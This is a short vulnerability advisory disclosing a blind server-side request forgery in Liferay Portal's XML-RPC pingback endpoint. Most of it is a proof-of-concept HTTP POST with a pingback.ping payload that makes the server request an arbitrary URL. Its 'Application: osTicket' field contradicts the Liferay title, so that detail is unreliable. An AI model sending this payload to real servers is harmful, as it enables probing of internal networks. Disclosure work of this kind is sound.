1. ADVISORY INFORMATION
========================================
Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery
Application: osTicket
Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= 7.0.4
Technology: Java
Vendor URL: liferay.com
Date of found: 04 December 2017
Disclosure: 25 June 2018
Author: Mehmet Ince
2. CREDIT
========================================
This vulnerability was identified during penetration test
by Mehmet INCE from PRODAFT / INVICTUS
3. Technical Details & POC
========================================
POST /xmlrpc/pingback HTTP/1.1
Host: mehmetince.dev:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 361
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>http://TARGET/</value>
</param>
<param>
<value>http://mehmetince.dev:8080/web/guest/home/-/blogs/30686</value>
</param>
</params>
</methodCall>
